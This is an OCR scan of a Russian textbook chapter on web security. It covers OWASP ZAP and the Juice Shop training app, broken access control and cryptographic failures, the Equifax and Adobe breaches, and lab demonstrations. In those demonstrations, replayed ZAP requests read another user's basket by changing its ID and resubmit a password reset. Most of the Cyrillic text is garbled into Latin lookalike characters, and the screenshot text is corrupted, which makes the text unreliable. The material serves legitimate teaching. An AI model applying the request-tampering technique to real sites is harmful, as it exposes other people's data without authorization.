YecKast OpraHu3aIs, AeATeTbHOCTh KOTOPOH HalpaBjieHa Ha yiydiienne 6e30-
nacuoctu BeO-npuioxennii. OcHoannas B 2001 roxy, OWASP npezmocrasiser
PECYpChl, MHCTPYMEHTBI, CTAaHAAPTHI ¥ 00Pa30BaTENbHbIE MATEPUAIIBI JIJIST TIOMOTI[H
paspaboTunKaM, TECTUPOBIIUKAM U OPTaHU3aLMAM C LeJIbio obeciieyenus Ge3omac-
HOCTHU BEO-TIPUIIOKEHUIA,

Opnum us Hanbosiee usBectHbIX MpoekToB OWASP sapusiercs «Tomn-10 OWASP» —
CIIMCOK AEeCATU HanboJjiee KpUTUIECKUX YTPO3 O€30I1aCHOCTH BEO-TIPIIOKEHUH, KO-
TOPBIIT OOHOBJISIETCS KasKIble HECKOJIBKO JIeT. DTOT CIIMCOK TOMOraeT pa3paboTdnkam
U OpraHMU3aLusM OIIPEEJUTh OCHOBHbIE YIPO3bl OE30IIACHOCTU U IPUHSATH MEPbI J1J1st
WX YCTPaHEHUS U TIPEJOTBPAICHUSL.

OWASP rax:ke paspabaTbiBaeT 1 IOAAEPKUBAET Pa3HOOOPa3HbIE IPOEKThI, TAKIE
KaK MHCTPYMEHTBI TECTUPOBaHUs 6€30MacHOCTH, PYKOBOJICTBA 110 Ge30acHoii pas-
paboTKe 1 0OyUAIINE MATEPUAJIBI, KOTOPbIE IOCTYHBI OECILIATHO.

NHcTpyMeHTbl OWASP

B aT0il ry1aBe MBI PAaCCMOTPHUM BCe [IECATh AKTYAJIbHBIX U BCTPEYAIOIUXCS TIOBCE-
MECTHO YSI3BUMOCTEH, ncnosb3ys aBa nuncrpymenta OWASP. [lepsbiii ipe/icraBiiser
CODOI MHCTPYMEHT JIJIs aHAJIN3a U TIPOBEJIEHNS aTaK, a BTOPOil — 9TO TECTOBAsI CPEIa,
paspaborannas OWASP.
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OWASP ZAP

OWASP ZAP (Zed Attack Proxy) — GecriiaTHBIN U OTKPBITBIH HHCTPYMEHT JJIsST
AMHAMUYECKOTO TECTHPOBAHMSI 6E30MACHOCTH BeO-TTPUIOKEHNH, padpaboTaHHbIi
n nojiepkuBaembiii ipoekToM OWASP. 3amryckaercs Ha nsiatdopme Java u 1ocTy-
TIeH JIJIsT HECKOJIBKUX OTIePallioOHHbIX cructeM, Bkaovas Kali Linux.

Z AP MOXKHO WCIIOJIb30BATh JJIsT TECTUPOBAHUS BEO-TIPUIOKEHNN KaK B aBTOMATH-
YeCKOM, Tak U B pydHOM pesknmve. OH paboTaeT Kak TPOKCH-CEPBEP, TePeXBATHIBAST
U aHaTIM3UPyst TpahUK MEKITY TIOMB30BATETHCKIM OPay3epoM U BeO-TIPUIOKEHIEM.
C ero 1oMoI1IbI0 MOKHO BBIITOJIHATD Pa3/InYHbIe BU/IbI aTaK, HAIIpUMeP CKaHUPOBAaHUE
Ha HATMYMe YI3BUMOCTEH, aTaky Ha 6asbl JAHHBIX ¥ TECTHPOBAHKE HA TPOHUKHOBEHME.
Kax u mpyrue ckamepsr 6e3omacnoct, ZAP yMeeT rerneprpoBaTh OTIETDI, paboTaer
C TTOJTH30BATETHCKUMHU CKPUTITAMH, COOUPAeT MH(MOPMAITHIO O TIETH U MHOTOE JIPYTOE.

ZAP obnagaer MHTYUTUBHO NOHATHBIM IpaduyeckuM nHTepdeiicoM, KOTOPbIii 00-
JIETYAET MPOIIeCC TECTUPOBAHUS U AHATIN3 PE3YIbTaTOB. DTOT UHCTPYMEHT IMIMPOKO
UCIOJIb3YeTCsT PazpabOTUNKaMU, TECTUPOBIIUKAMU GE30MACHOCTH U ayUTOPAME
JUIST WICHTU(DUKAIIMY 1 YCTPAHEHMsI yTPo3 Ge30MacHOCTH BeO-TTPUIIOKEH I Ha pas-
JIMUHBIX CTAAUSIX PaspabOTKU U 9KCILTyaTallui.

Veranoska ZAP B Kali Linux BbIIoJIHSAETCS OTHON KOMAH/IOM:

$sudo apt install zaproxy

[Mocne ycranoBku ZAP mnosiBsieTcss B MOJb30BATEIbCKOM MEHIO B pasjese Web
Application Analysis. ITocite iepBoro 3amycka (puc. 7.1) He 3a6y16Te 0OHOBUTH Oa3bI
nanabix ZAP.

m Untitled Session - 20230508-091627 - OWASP ZAP 2.12.0 [m} w

File Edit View Analyse Report Tools Impeort Export Online Help
standerdMode v B HE @R @F I E0080EDND A 8 VOl e XxEs el

@ Sites & : “# Request &= Response & Requester
eca. | Header: Text d || Buody: Text ~| BB
~ 5 contexts
[E pefault Context
@ sites

M History S, Search PUalerts | Output 4

@ @ 7 Filter: OFF & Fxport

1d Sour.. Req. Timestamp Met.. UKL Co.. Reason K. Size Resp... Highest.. M. Tags =
Alerts f#0 =0 =0 0 Main Proxy: localhostB0E0 CurrentScans &0 @0 do @o S0 Go

Puc. 7.1. lMepBbiit 3anyck ZAP
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Juice Shop

OWASP Juice Shop — aro yuebHoe BebG-TIpUIOKeHHE, paspaboTaHHOE U TIOALEP-
sxuBaemoe npoektom OWASP, copepskaliee ysa3BMMOCTU B GE30IIaCHOCTH. DTO CO-
BpPEeMEHHOE BeO-TIPUIOKEHME, HAllMCaHHOe Ha creke TexHosoruil Node.js, Express
u Angular, uMuTHpYET HHTEPHET-Mara3n.

Juice Shop paspaboran B kauecTBe y4eOHOI MIJIOMIAAKH JJIS TIOJyYEHUS [IPaKTHYe-
CKUX HAaBbIKOB TECTUPOBaHUs Ha MMPOHUKHOBEHNE U 00yUeHtst He301TacHOCTH B 00-
Jactu BeO-npuiokenuii. Beb-npuioxkenne coepsKUT MHOKECTBO YA3BUMOCTEI,
B TOM uncJie u3 crucka Tor-10 OWASP. OWASP Juice Shop rakske npemocraBisier
copesHoBaresbHyIo cucreMy «Capture The Flags (CTF) u pasnnunble 3agauu,
KOTODbIE CTUMYJIMPYIOT M0JIb30BATEIEN HAXOUTh 1 UCIIPABJIATH YI3BUMOCTH. Bra-
rogaps CBoei OTKpbITON apxuTekType Juice Shop MozkeT ObITh JIErKO pa3BepHYT Ha
pasnnuHbIxX wardopmax (B ToM yucie Ha Docker win Heroku).

JlaHHbIi IPOAYKT TakKe goctyied B perosutopun Kali Linux, /g ero ycraHoBKU
BBITIOJTHUTE KOMaH/LY:

$sudo apt install juice-shop
[ia 3ammycka mpuiosKeHUs UCIIOIb3yeTCs KOMaHIa:
$sudo juice-shop -h

ITocie 9TOrO BHI MOKETE OLIEHUTH Ballly HOBYIO CTPAHUYKY, BBelsI B Opaysep aapec
http://localhost:42000 (puc. 7.2).

L OWASP Juice Shop ® | # =i B R

« 2 C @ O O 127.0.0.0:420000 £ 2 s @ =

" Kl Uinux 8 Kali Tools [l Kali Docs S, Kab Forums 3 Kali Nethumer s Exploil-DB = Googhe Macking DB L OftSec g Geeenbane Security A..
i OWASP juice Shop QO @en

Welcome to OWASP Juice Shop!

a challenge: Error Handiing (Prove

All Products

_ This websile usos frull cookies Io onsure you gel
the juicies! tracking experience. But it

Mo want it}

Carrot Juice
{1000mi)

Puc. 7.2. NHTepdeiic Juice Shop
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ITocte 3aBeprirennst paboTHI He 3a6yABTE OCTAHOBUTD Juice Shop, BHITOIHIB KOMAHIY:

$sudo juice-shop-stop

HapylweHne KOHTpoNna Aoctyna

YaspumocTb HapyumeHus konrposst gocryna (Broken Access Control) B Be6-
NPUJIOKEHUH BO3HUKAET, €CJTM CHCTEeMa KOHTPOJIS IOCTYITA HEAIOCTATOYHO 3alHUIACT
orpe/iesieHHble Pecypehl Wik QYHKIMK 1100 HEIlPAaBUIbHO OrPAaHUYMBAET JOCTYII
K HUM. ITO MOKET IIPUBECTHU K TOMY, 4TO aTAKYIOIIHE TT0JyYaT HeCAHKIIMOHMPOBAH-
HBIN JOCTYIT K YYBCTBUTEJ/JIbHBIM JTaHHBIM, beHKHI/IOHaJH)HbIM BO3MOXHOCTAM MJIN
BO3MOKHOCTSIM, KOTOPbIE JOJIKHBI OBITD JOCTYITHBI TOIBKO OIPEAEIEHHBIM MOJIb30-
BaTeJIAM WU TPYTIIaM TTOTh30BaTeCH.

HapymeHI/Ie KOHTPOJIA JOCTYIIa MOJKET TIPOABJIATHCA B PA3JTNYHBIX (bopMax:

e ropusoHTaidbHOE ToBbiieHne puBuernit (Horizontal Privilege Escalation),
KOT/[a TI0JTb30BATEIb MOJTyYaeT JOCTYI K JAHHBIM WU (DYHKIHSIM IPYTOTO [0JIb-
30BaTeJIst C TEM K€ YPOBHEM TIPUBUIIETHIL;

e BeprukaibHoe ToBbienue npusmiernii (Vertical Privilege Escalation), korma
MOJIb30BATETh C HU3KMM YPOBHEM TTPUBUJIETHH MTOIYYaeT MOCTYIT K TAHHBIM WJTH
(YHKIIUSM, TOCTYITHBIM TOJIBKO TIOJIb30BATEISIM ¢ O0JIee BBICOKMM YPOBHEM TIPH-
BUJIETU,;

® HemnpaBuJbHas nmposepka npusmiernii (Insecure Permission Checks), koraa cu-
cTeMa KOHTPOJIS JIOCTYIa HETPAaBUIIBHO TTPOBEPSIET Pa3peIIeH s 0Th30BATEN,
YTO MOYKET TIPUBECTH K HECAHKIIMOHNPOBAHHOMY JIOCTYITY K PecypcaMm;

® HapylleHue KOHTPOJs gocTyna Ha ocHoBse posieil (Role-Based Access Control
Violation), Korza 1oJib30BaTeIb ¢ OIpe/ieJIeHHOI POJIbIO IOJIydaeT A0CTYII K pe-
cypcam Wiiu (hyHKITHSIM, KOTOPBIE IOJZKHBL OBITH OrPAHUYCHBI APYTHMHU POJISTMH.

Tak Kak ys13BUMOCTH TaKOTO THIIA BO3HUKAIOT B OCHOBHOM M3-3a HEIIPaBUJIbHON
APXUTEKTYPBI U JIOTHKU PABOThI TPUIOKEHWI, HA JIAHHBI MOMEHT HE CYIECTBYET
JIOCTAaTOYHO XOPOIINX CUCTEM aBTOMATUYeCKOTO MOMCKA TaKUX ysI3BUMOCTeH, 110-
3TOMY Uallle BCero X Haxo/SIT B X0/ie PyYHOIl IPOBEPKU.

ITo cratuctuke OWASP, Ha JaHHbI MOMEHT OKO0JI0 94 % MPUIOKEHII NMEIOT IPOo-
GJIEMBI ¢ KOHTPOJIEM JIOCTYTIA, HTO OJIHA M3 CAMBIX YACTO BCTPEYAEMBIX YSI3BUMOCTETH.

OO6bIUHO TTOC/IE HAXOKIEHHS IAHHOTO THIIA YSI3BUMOCTH aTaKYOIIUI TpobyeT 1mo-
BBICUTH CBOW MPUBUJIETHH JIO MAKCUMAJTHHO BO3MOXKHOTO yPOBHS. B pesyibrare
TaKMX aTakK OH MOJIydaeT JOCTYIT K 3aKPBITOI MH(MOPMAITIH, KOTOPYIO 3aTeM TIPOJIaeT
Ha YePHBIX PbIHKAX. B HEKOTOPBIX Cydasix, MOJYIUB JOCTYT K CUCTEME, aTaKylo-
M MOKET OCYIIECTBUTH 3apaskeHre CUCTEeMbI BpefoHOCHBIM 11O wu BhI3BaTH
cboil B crcTeMe, YTO MPUBE/IET K OTKA3y B 00CHYKUBaHWM. B3JIOMaHHbIE CHCTEMBI
B JaJIbHEIIIIEM MOTYT ObITh HCITOJIB30BAHBI JIJIsI HALIAJICHUST Ha APYTHe KOMITOHEHTBI

MHGPACTPYKTYPHI.
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[TposemMoHCTpUpPYEM rOPU30HTATIBHOE TIOBBIIEHUE TIPUBIJIETUI HA HAIIEH TECTOBOM
cucreMme. [To ymosruanuio Halra cucteMa He COAEPKUT MOJTb30BATEEH, TOITOMY
MEePBBIM HAIIUM IIaroM OyJIeT co3laHne HeCKOJIbKUX Mmosib3oBaTtenei. st aToro
NPOIAUTE PErUCTPAIMIO HECKOJIBKO Pas, Kak cieJiaii Obl 9T0 0ObIYHBIE TTOJIb30BATEIH
WHTEepHeT-MarasuHa (puc. 7.3).

L OWASP nieShop x| 4 o

« =2 C @ O D 127.0.0.0:42000/Wregister o ® =2 ¥ =

"y, Wal Linee @ Kali Toots [l Kb Docs %, Kak Forums  [3Y Kadl NetHunies = ExploliD8 = Googhe Hocking D8 | OftSec g Greenbone Security A...

i OWASP Juice Shop Q, @ acount @ N

User Registration

Puc. 7.3. Pervctpauusi nonb3oBaresnen

Il pasnbHeiimmx geiictsuii Ham nonago6urcs OWASP ZAP. 3anycrure ero u CKOH-
durypupyiire cBoii Gpaysep TakuM 00pazoM, YT0ObI OH UCIIOIb30BAJI IIPOKCU-CEPBED,
azpec 127.0.0.1 u nopr 8080. Yurure, uro 3anpocs Ha localhos u 127.0.0.1 Bcerga
UAYT HANIPAMYIO, II09TOMY K HAIleMy CaiTy, HECMOTPSI Ha TO YTO OH HAXOIUTCS Ha
Haileil ke MaliHe, Mbl OyeM oOpallaThCs 10 UMeHU Xocta — http://kali: 42000.

Teneps, Korza y Hac €CTb 110J1b30BaTe b, BOM/IEM B CCTEMY C CO3/JaHHbIM Ha IIpe/ibl-
IYTIEM TIIare JIOTHHOM U TrapoJieM. J[06aBiuM B Halry KOP3WHY, CKasKeM, STOMOUHBIiT
cok. Tenepn BbliizieM 13 cucTeMbl, HaskaB KHOIIKY Logout, 1 3aiijieM ¢ IpyruM akKayH-
toM. J[06aBUM B KOP3WHY IPYTOH TOBAp, HATpUMep GAHAHOBBIN COK.

Ecou BBI celiuac OTKPOETE KOP3NHY, TO YBUJIUTE TOJIBKO T€ TOBAPbI, KOTOPbIE BbI /10~
63.BI/I]II/I, pa60Ta51 C y‘-IE‘THOfI 3allMCbIO TEKYHIETrO 110JIb30BaTeJIsd, — Bbl HE CMOJKETE
TIOJIYYUTDb JOCTYII K KOP3WHE IIEPBOT'O IIOJIb30BATEJIA. Tak un JLOJIZKHO OBITD.

Tereps mocMoTpum, uto Mbl BuauM B ZAP. Bo Bpemst Hatiieil paGOTbI TPOUCXO/HT OT-
npaska POST-3arpocos u nostyuenue GET oTBeToB, Halll IPOKCU-CEPBEP TIIATETHHO
COXPaHsIeT BCe JIJIs1 TOTo, YTOObI MbI B Ja/IbHEIIIIEM MOTJIN IIpoBecT aHaius (puc. 7.4).
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Q Untithed Session - 20230510-080112 - OWASP ZAP 2120 - =] x
File Fdit View Analyse Reporl Tools Import Export Onhne Help
SandardMode ~| [ B H B @ &S d 28D EE 0D BE & 8 Ve F © X tled
@ sSites o ‘; =rRequest <= Response [ Requester o
@883 Header: Text - || Body: Text v El =
~ (3 Contexts GET http://kali:42eee/rest/basket/6 HTTP/1.1
(@ pefault Context Host: kali:4zeee
v @ Sites User-agent: Mozilla/n.® (X11; Linux x8b6_64; Iv:102.9) Gecko/2e108101

Firefox/1082.8
| Accept: application/json, text/plain, */*
> 0w ’iMcept-Language: en-Us,en:q=e.5

| antharizatian: Aaarar aw BaVYAING IKYINGLCIhhGeinG ISHz 110G 10

» LI® hitpy//ciscobinary.openh264.0rg

M History S search Malerts [ output  &F websockets

@ @ T Filter: OFF & Export

Id Sour.. Req. Timestamp Met.. URL Co.. Reasan R.. Size Resp. .. Highest.. M. Tags Lo
| 536 +=+P... 5/10/23, B:A7... PUT  hilp:/fkaliA2000/apy/Baskelllems/13 200 OK 7... 155 byles P Medium 50N

337 ¥ P 0VES, B L. httpai7kali:azo00/apivProducts/17d=... 200 OK D.. 237 bytes

238 ¥ P.. hittp://kali:a2000/rest/basket/ts 200 OK 1. 524 bytes ¥ Medium JSON

5 (B I 204 NotM... 1.. 0bytes ™ Medium

540 =P, ° hitpeifhali:42000/socketio/?FI0=48&1... 200 OK 2... 1 bytes P Medium

541 =P hitp/fkali:A2000/rest/userfwhoami 304 Mot M... 3. 0 bytes

547 = 0 1NeTE WeAT BT INEIN-ARE 00 O B batac o

Alerts BD 54 55 2 Main Proxy: localhost80s0 CurrentScans P 0 @1 Do @o Ao §ol

Puc. 7.4. CoxpaHeHHble 3anpocbl

AHanmn3upys uMerouyiocs NHPOPMaIInIo, Mbl HAIJIU OJJHY UHTEPECHYIO CTPOKY,
a UMEHHO:

GET http://kali:42000/rest/basket/6 HTTP/1.1

OcMemMest TPEATIONIOKUTD, UTO Trdpa 6 MOKeT ObITh YHUKATbHBIM HIEHTH()IKA-
TOPOM KOP3WHBI. [[Jist IPOBEPKH HAIlleil Teopuu moirpodyeM chopMUPOBATH HOBBIIL
3a1poc, B KOTOPOM MBI TTOMEHSIEM OJIIH JINTITh uaeHTIuKatop. /111 atoro otkpoem
KOHTEKCTHOE MEHIO, KITMKHEM TI0 NHTEPECYIoIIeMy Hac 3aIIpocy TPaBoil KHOTTKOM
MbIIIH U BbiOepeM myHKT Open/Resend with Request Editor.

B nosgBuBIIEMcs pelakTope 3aMeHUM UIeHTH(hUKATOP U HaskKMeM KHOTIKY Send J1ist
TIOBTOPHOM OTTIpaBKHU 3ampoca (puc. 7.6).

YTo sxe Mbl BUIUM, MOMEHTAJIBHO [OJIYYUB OTBET (pucC. 7.7)? Y HAC MOSBUJICS TOCTYII
K WH(hOPMaIUK 0 KOP3WHE JAPYTOTO Mosb3oBaTesd. Ha camom jiesie BMecTo KOp3u-
HBI MOTYT OBITh Kakue yrogHo ganubie. Cam GakT mosydeHnst JOCTYIA K JaHHbIM
TI0JTB30BATEJISI Iy TEM 3aMeHBI HIeHTH(IKATOPA B 3aITpoce OCHOBAH HAa KPUTHYECKOH
ommubke. [TpaBrabHO pa3paboTaHHast cucTeMa HUKOT/IA He IOJKHA BBIIABATH TAKYIO
nHGOpPMAIHIO.

OI[HI/IM 13 CaMbIX U3BECTHBIX B3JIOMOB CCTEMbI Y€PE3 HapYyIIIEeHNE KOHTPOJIA JTOCTYIIa
ObiTa ataka Ha Kommanuio Equifax B8 2017 roxy. Equifax — kpyrHoe aMeprkaHcKoe Kpe-
JAUTHOE 6IOpOy Xpansdiiee YYBCTBUTEJIbHbBIE (bHHaHCOBbIe JAaHHbIE MUJIJIMOHOB JHO[[efI.
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a United Session - 20230510.080112 - OWASP ZAP 2120 - =] x

File Edit Vview Analyse Report Tools Import Export Online  Help
Mode v BHEBF@#ESJCEDE0D0EDNO0As Per ot el

@sites & Attack >
SIE -G RPN | 1t in Contast , 3_u e —
v [F Contexts Run application '
(& Default Context Include Site in Cant 3
« @ Sites 64; rv:182.8) Gecko/2@1@@121
» R http:fioscobinary openh264.0rg Flag as Context 7y
| »Or Show in Sites Tab
[ Open URL in System Browser hhficind 1Sz 1IN 18
Exclude from Context »
Exclude from E

Manage History Tags...

Naote...

Delete Delete
BHistory @ Search PAlerts (] output| ek

R s = ey e Alert...
L) O W RIERE (T Alerts for This Node »
d  Sour. Req. Timestamp Met... Generate Anti-CSRF Test FORM [5p- - Highest... N.. Tags [
536 **P... 5/10/23, 847, PUT  DOPUIKBIEA  (ooonie s pequests les  fMedium 50N
337 w P, 5/10/23,847... GET htl'p:!.ftali:ﬂ =3
. Cnmpare 2 RESF!DI’KPS N

538 =P 5/0/23, 847 Mtp'.ﬂl&all:ﬂ o5 # Medium JSON
539 <+ P.. 5/10/23,8:47... GET  http Open in Tab... curlw 1= Medium
540+ P, SM0/23, 847.. GET  httpe/kalisg  Include Channel URL in Context b4 ™ Medium

541 =P, 3/10/23, 847

GET  httpu/kaliz Exclusde Channel URL from Context »
. 3 » Rkl
Scans £ 0 @0 o o o o

Irvake with Seript...

Puc. 7.5. KOHTEKCTHOE MeHI0

Q Manual Request Editor - o x
Request  Response
method || Header: Text ~ || Body: Text v/ Eoe@fivEome send

GET http://kali:4200e/rest/basket/6 HTTP/1.1

Host: kali:42e08

User-Agent: Mozilla/5.8 (X11; Linux x86_64; rv:182.8) Gecko/201@8181 Firefox/182.8

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=9.5

Authorization: Bearer eyl@eXAiOilkviQiLClhbGei0ilSU:TINGIG.
eyJzdGFedXMi0ilzdWN]ZXNZIiwiZGF@YSIGey JpZCIGMJESINVZZXJUYWIIT joi TiwiZWlhaWwi0ilpdHNLY2Jvb2tACH v
dGIUbWFpbCs jb2RiLCIwYXNZd29yZCIBLjC2Y TAXYMEMZWGAY TR2ZMT1hY TMZNZZKMZ IWNTKIM] cI1iwicm9s 2516 IMNLCIRY

bwvyIiwlZGVsdXh1VGorZw4i01TiLCIsYXNST JeCIBInvu 1ZCIsInByb2ZpbGVIbWFNZSIGI19hcIN1dHMY
cHVIbGT jL2TtYWdlcy 91 cavYWRzL2RTZmF1bHQUe3ZnT iwidGIBcFNI Y31 TdCTETi TS Tml 2 QWN@aXZ1T jpAcnvILC ] jomvh
dGVKQRQi0iTyMDIZLTAILTASIDEBO jMx0 UL j3NyATMDAGMOALLCJ1cGRADGYEQXQIOiTyMDIZLTAILTEWIDEYD 120108

Find:{ ] © 4 Ne matches Time: 0 ms Body Length: 0| Total Length: 0 byt

Puc. 7.6. PefakTop 3anpoca

B pesysbraTe aTaku ObLIM YKPaAeHbI JaHHbIe Ooiee 147 MIH aMepUKaHIIEB, BKJIIOYAST
VIMEHa, JIaThl POK/IEHMS], COIUAJIbHbIE CTPAXOBbIE HOMEPA U ajipeca. Baiom mpousories
13-3a YSI3BUMOCTH B MOITYJITPHOM Beb-tipustozkernu Apache Struts, koTopoe ucrosb3o-
Basiochk B Equifax. Ys3BUMOCTB 1103BOJIHIIA ATAKYOIINM BBITIOJIHUTD POU3BOJIBHBIN KOJ|
Ha cepsepax Equifax. B ocHOBe aTaku Jieskaio HapylieHne KOHTPOJIS JOCTYIIA, TaK uTo
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3JIOYMBIINIVIEHHUKW CMOTJIN ITOJIYIUTDH JOCTYII K HYBCTBUTEJ/IbHBIM /IaHHBIM, KOTOPbIE
JLOJIZKHBI ObLIY OBITH AOCTYITHBI TOJIBKO aBTOPHU30BaHHbIM COTPYJAHUKAM KOMIIaHWH.

0 Manial Request Editor - o *®

Request  Respornse

[Header: Text ~ || Body: Tea ~ || E O Send
HTTP/1.1 228 OK

Access-Control -Allow Origin: =

X-Content-Type-Options: nesniff

¥-Frame-Options: SAMEORTGTN

Feature-Palicy: payment 'self’

K-Recruiting: r#/jobs

Content-Type: application/json; charselsulf-8

Content-Length: 945

ETag: W/"3b2-LFW7d7cITgyyzVcAGdeDHYFvea™

Vary: Accept-Encoding

| Date: Wed, 1B May 2073 13:
{"status”:"success”, "data”
"2023-95-25T03:12:18.8792",

supon” inull, “Userld” 16, "createdAt”:
":T20923-05-05T88:19:18. 07927, "Froducls”:

"Eggfruit Julce (5@@ml)", description”:"Now with even more exotic flavour.®, pri 18.99,
“deluxePrice”:8.99, "image” :"egafruit_juice.jpg”, "createdAt”:"2023-05-29T08:10:17.8801",
Cupdatedat i T2B23-05-09TRE18:17 8BRS, “deletedat inull etitem” :{"Productid”:3, "Basketld" :5
LUidT o7, quantity TS, vcreatedat” Dt 2023-85-99T08: 10118, 1872", "up d
"2023-95-09T@8:18:18. 18727} ), {"Lid" 14, "name”  "Raspberry Juice (18@@8ml)", "description”:

“Made from blended Raspberry Pi, water and sugar.®, price”:4.99, deluxePrice”:4.99,"image™:
“raspberry_juice.jpg", "createdAt”:"2023-05-09T08:10:17.8802", "updatedAt":
"2023-05-09TRR: 1817 . 88077, “deletedir” :aull, "Rasket Tt {"ProductTd” :4, "BasketTd":5,"1d":8,
“quanti 2, "createdAt” T2823-05-RY9TREI18:18. 108", "undatednt " "2823-05-9TBR: 10 :18. 1087~} }] }}
Find] |+ & Momatches  Time: 65 ms Body Length: 946 Total Length: 1,332 byt

Puc. 7.7. MonyyeHHbIN OTBET

[edekTbl B KpunTorpagum

Hedekrrr B kpunrorpaduu (Cryptographic Failures) — aro Tun ygssumoctu Be6-
NPUJIOKEHWH, CBA3AHHBIN C HEKOPPEKTHBIM MCIIOJb30BAHNEM HJIM Peaju3alieil
Kpunrorpapuiecknx GyHKIMH 1 MEXaHU3MOB. JTH YSA3BUMOCTH MOTYT BO3HUKATD
13-3a OMNOOK B KOAUPOBAHUH, HEMTPABUILHON KOH(MDUTYPAIIUN WA UCTIOTb30BAHUS
yCTapeBIIMX 1 HeGE30MACHBIX alropuTMoB. Kpunirorpadudeckue oumOKr MOTYT
MIPUBECTU K HECAHKITMOHMPOBAHHOMY JIOCTYITY K 3aITUINEHHBIM TAHHBIM U K IPYTUM
CEPHE3HBIM MOCJAEACTBUSM JIJIs HE30MACHOCTH BeO-TIPIIOKEHUT.

HexoTopble pacipocTpaHeHHbIe IPUMEPBI KPUITOIPaQUIECKUX OIUOOK BKIIOYAIOT
B cels:

® UCMOJIb30BAHUE CJAOBIX UK YCTAPEBITUX AJITOPUTMOB (B POBAHUS, KOTOPbIE
MOTYT OBITh B3JIOMaHBI C TOMOII[BIO COBPEMEHHBIX aTak;

® HelpaBUJbHOE XpaHEeHHEe 1 3alUTY KJIoueit IHI/I(ppOBaHI/IH, YUTO MOJKET IIPUBECTU
K X yT€4YKe 1N UCIIOJIb3OBaHUIO 3JI0OYyMbIIIJIEHHUKAMU;

e omubKK B peasnsaluu NpoToKoJIoB mudposanus, rakux kak SSL/TLS, uro
MPUBOIUT K yTe€YKe NH(DOPMAIINY WU BO3MOKHOCTH IIPOBEAEHIST aTaK «IEJIOBEK
nocepeantes (Man-in-the-Middle);

® HejOCTATOYHAS 3allMTa IapoJieil moab3oBaTesnell, HaPpUMep MCII0JIb30BaHKe
He0e30I1aCHbIX METOL0B XPaHeHNsl UK Nepejadnl mapoeii 6e3 ToKHOM Kpuil-
Torpauieckoii 3anTh;
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e omunbKu B IIporecce reHepamnmnum CJIy‘{af/,IHbIX quceJ i MHUIMaJaInu3allMOHHbBIX
BEKTOPOB, YTO CHUKAET CTOMKOCTD KpI/IHTOI‘pa(bI/I‘-IeCKI/IX CHUCTEM;

® KaK TaKOBOE OTCYTCTBUE KPUTITOTPAhUIECKON 3aITUTHI.

OHUM 13 U3BECTHBIX B3JIOMOB CUCTEM, CBSI3aHHBIX C KPUIITOTPAQUIECKIMU OLIHO-
Kami, sBjsercs ataka Ha Adobe B 2013 roay. B pesysbrare ataku GblJIO CKOMIIPO-
METHPOBAHO OKOJIO 38 MJTH TOJIb30BATEILCKUX AKKAYHTOB, 8 TAK/KE OBLIN YKPaJCHbI
UCXO/IHbIE KOJbl PA3JIMYHBIX TPOLYKTOB KOMITAHWH.

OcHOBHOIT KpunITOTpaduIecKoil oMmnbKoil B 9TOM cirydae ObLIO HEMPaBHJIbHOE Xpa-
HEHUe U 3all[iTa apoJieil mosibsosatesieil. Adobe ncmosbsoBaa 1Jist XpaHeHUST apo-
Jieil ofHOCTOpOHHEe I PoBaHUe ¢ OMOIIbIO anropurMa MD5 6e3 «comnn» (salt —
HaGOP JOMONHUTETLHBIX CIYYAWHBIX TAHHBIX, I00ABJISIEMbIX K APOJIIO /IS YCUJICHUST
KpunTorpadpuyeckoii CTOUKOCTH). ITO MPUBEJIO K TOMY, YTO 3JIOYMBIIIICHHUKN
CMOTJIN JIETKO BOCCTAHOBUTH OPUTUHAJIbHBIE ITAPOJIN MTOJIH30BaTeJIel ¢ UCII0JIb30Ba-
HUEM TaK Has3blBaeMbIX TabOJIMI[ PaLysKHBIX 1ernouek (rainbow tables). Kpowme Toro,
13-32 HETIPABUJIbHOI PeaTM3aIuu KPUMITOTPAPUIECKON 3alTUTHI 37I0YMBITIIICHHITKN
CMOTJIH TIOJTYYUTh JOCTYI K TAKUM 3aIIN(DPOBAHHBIM JIAHHBIM TI0JIb30BaTeN€el, KaKk
HOMepa KPeJUTHBIX KapT U1 JIMYHAs WHDOPMAITHS.

[t meMoHCTpaImm CKazaHHOTO BEPHEMCS K Hallleil TecToBOH cpezie. M bl nctiomb3yem
TOT 7K€ HabOP MHCTPYMEHTOB, YTO U B IIPEABIAYIIEM Pas/elie, I09TOMY Cpasy Hepei-
nem K jieary. Ha manHOM sTare Ham HeoOGXOIMMO BBIHTH U3 CBOETO aKKayHTa B Juice
Shop, a 3arem 1poiiTH IpoLEAYPY BOCCTaHOBAEHUs apoa (puc. 7.8). Bam norpe-
GyeTcs yKazaTh a/ipec SIeKTPOHHON MOUTHI, OTBET Ha CEKPETHBIN BOIPOC U JBAYKIbI
yKa3aTh napoJb. loroBo? Tenepb mpoanasusupyem Tpapuk.

L OWASP Juiee Shap  x (3 Setings ® | L OwWASPluiceShop x| + o
€ 3 C0 O 8 o kal42000WTorgor-passwon I 2 & @ =
"y, Kol Linee 9 Kali Toots [l Kb Docs %, Kalk Forums (3 Kall NetHunies = Exploi-D8 = Googhe Hocking D8 | OfiSec @ Greenbone Security A... L OWASP Julce Shop

m‘ OWASP Juice Shop QA O acoumt @ m_l

Forgot Password

rprotonmail.com

Pwuc. 7.8. BoccTaHoBneHve napons



218 [nasa 07 e ATaku Ha Be6-NpUNOXEHNS

HWctnionbsyst ZAP, monpoGyem mosTopHo otipasuth POST, KoTopslii yske ObLI OTITPaB-
JIEH [IPU TIOTIbITKE cOpoca napoJst (puc. 7.9), u npoanaausupyem orset (puc. 7.10).

Q Manual Reguest Edilor = [m] E
Request  Response
Method v|me:-:der:Te:'t'l: v||B:n.‘|5f:Te'xl V|:E||:| e@ougEEme|

POST http://kali:4208@/rest/user/reset-password HTTP/1.1

Host: kali:42eee

lser-Agent: Morilla/5.@8 (X11; Linux xB6_64; tv:182.08) Gecko/28108181 Firefox/182.8
Accepl: application/json, lexL/plain, */*

Accept-Language: en-US,en;gq=¢.5

Content-Type: application/json

content-Length: 79

Origin: http://kali:42000

Conneclion: keep-alive

{"email"”:"test@test.com", "answer":"mom", "new”:"test1234", "repeat”:"test1234"}

Finu!; | 4+ 4+ Mo matchesTime: 0 ms:Body Length: 0 Total Length: O byt

Puc. 7.9. PegaktmpoBaHue 1 OTrnpaBKa 3anpoca

“ Manual Requast Editor

Request  Response

| Header: Text ~ || Body: Text ~ | |[F1 71 send

HITP/1.1 288 0K
Access-Control-Alluw-Origin: *
¥X-Content-Type-Options: nosnift
X-Framo nprinns: SAMEORIGIN
Fealure-Pulicy: paymenl ‘selfl
X-Recruiting: /#/jobs
